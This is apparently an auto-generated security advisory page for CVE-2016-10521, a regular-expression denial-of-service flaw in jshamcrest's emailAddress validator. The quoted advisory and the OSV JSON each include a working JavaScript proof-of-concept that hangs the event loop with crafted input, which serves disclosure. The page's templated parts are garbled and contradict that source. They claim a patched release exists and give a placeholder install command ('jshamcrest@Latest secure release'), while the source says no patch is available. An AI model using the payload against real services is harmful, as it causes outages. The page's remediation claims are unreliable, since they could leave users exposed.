CVE-2016-10521: Jshamcrest Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-xj62-87pg-vcv3
CVSS 7.5
CWE-400
Published
Advisory Summary

CVE-2016-10521 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Jshamcrest libraries in the npm ecosystem. The issue involves regular expression denial of service in jshamcrest. Remediation is available in the latest vendor maintenance releases.

CVE-2016-10521 at a Glance

CVE Identifier CVE-2016-10521
GHSA Identifier GHSA-xj62-87pg-vcv3
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Jshamcrest
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2016-10521

To remediate this vulnerability, upgrade all affected Jshamcrest dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

jshamcrest fixed: Latest secure release
npm install jshamcrest@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls jshamcrest

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2016-10521, inspect your project dependencies using npm:

npm ls jshamcrest

Analyze the terminal output to locate any version of Jshamcrest in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls jshamcrest command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Jshamcrest, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The `jshamcrest` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator. ## Proof of concept ```js var js = require('jshamcrest') var emailAddress = new js.JsHamcrest.Matchers.emailAddress(); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } for (i=1;i<=10000000;i=i+1) { console.log("COUNT: " + i); var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{' console.log("LENGTH: " + str.length); var start = process.hrtime(); emailAddress.matches(str) var end = process.hrtime(start); console.log(end); } ``` ### Results It takes about 116 characters to get a 1.6 second event loop block. ``` [ 1, 633084590 ] COUNT: 51 LENGTH: 116 ``` # Timeline - October 25, 2015 - Vulnerability Identified - October 25, 2015 - Maintainers notified (no response) ## Recommendation The `jshamcrest` package currently has no patched versions available. At this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=validator).

CVE-2016-10521 Affected Jshamcrest Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
jshamcrest
npm
≤ 0.7.1

References

Frequently Asked Questions

What is CVE-2016-10521?
CVE-2016-10521 is a security vulnerability in Jshamcrest involving Regular Expression Denial of Service in jshamcrest under CWE-400: Uncontrolled Resource Consumption.
Which Jshamcrest versions are affected?
Affected versions include releases prior to current release patches across affected packages: jshamcrest.
What version fixes CVE-2016-10521?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is jshamcrest affected?
Yes, jshamcrest is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2016-10521?
CVE-2016-10521 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2016-10521?
CVE-2016-10521 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for CVE-2016-10521?
Run the dependency tree command: 'npm ls jshamcrest'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xj62-87pg-vcv3",
  "modified" : "2023-09-13T22:47:33Z",
  "published" : "2019-02-18T23:38:51Z",
  "aliases" : [ "CVE-2016-10521" ],
  "summary" : "Regular Expression Denial of Service in jshamcrest",
  "details" : "The `jshamcrest` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator.\n\n\n## Proof of concept\n\n```js\nvar js = require('jshamcrest')\nvar emailAddress = new js.JsHamcrest.Matchers.emailAddress();\n\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i<=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\n\nfor (i=1;i<=10000000;i=i+1) {\n    console.log(\"COUNT: \" + i);\n    var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    emailAddress.matches(str)\n\n    var end = process.hrtime(start);\n    console.log(end);\n}\n```\n\n### Results\nIt takes about 116 characters to get a 1.6 second event loop block.\n```\n[ 1, 633084590 ]\nCOUNT: 51\nLENGTH: 116\n```\n\n# Timeline\n- October 25, 2015 - Vulnerability Identified\n- October 25, 2015 - Maintainers notified (no response)\n\n\n## Recommendation\n\nThe `jshamcrest` package currently has no patched versions available.\n\nAt this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=validator).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "jshamcrest"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.7.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2016-10521"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-xj62-87pg-vcv3"
  }, {
    "type" : "WEB",
    "url" : "https://www.npmjs.com/advisories/53"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2020-06-16T22:03:34Z",
    "nvd_published_at" : null
  }
}